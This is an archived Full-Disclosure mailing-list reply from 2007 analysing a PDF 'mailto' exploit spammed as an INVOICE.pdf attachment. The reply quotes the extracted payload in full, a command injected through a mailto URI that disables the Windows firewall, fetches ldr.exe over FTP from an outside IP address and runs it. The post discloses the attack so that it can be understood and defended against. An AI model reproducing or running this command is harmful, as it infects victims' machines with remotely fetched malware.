full-disclosure - Re: PDF mailto exploit in the wild

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <345e51f50710231051g8ef4f9bp6fcfe1520cb4ab0f@mail.gmail.com>
Date: Tue, 23 Oct 2007 20:51:12 +0300
From: biz4rre@...il.com
To: "Paul Szabo" <psz@...hs.usyd.edu.au>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: PDF mailto exploit in the wild

yes, it try to open:

mailt0:%/../../../../../../Windows/system32/cmd".exe"" /c /q \"@echo
off&netsh firewall set opmode mode=disable&echo o 81.95.146.130>1&echo
binary>>1&echo get /ldr.exe>>1&echo quit>>1&ftp -s:1 -v -A>nul&del /q 1&
start ldr.exe&\" \"&\" "nul.bat"

PS. mailt0 == mailto
PPS. ***king spammers

2007/10/23, Paul Szabo <psz@...hs.usyd.edu.au>:
>
> In case you are interested... messages like the following were spammed
> to my users tonight.
>
> > Content-Transfer-Encoding: base64
> > Content-Disposition: attachment;
> >         filename="INVOICE.pdf"
>

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/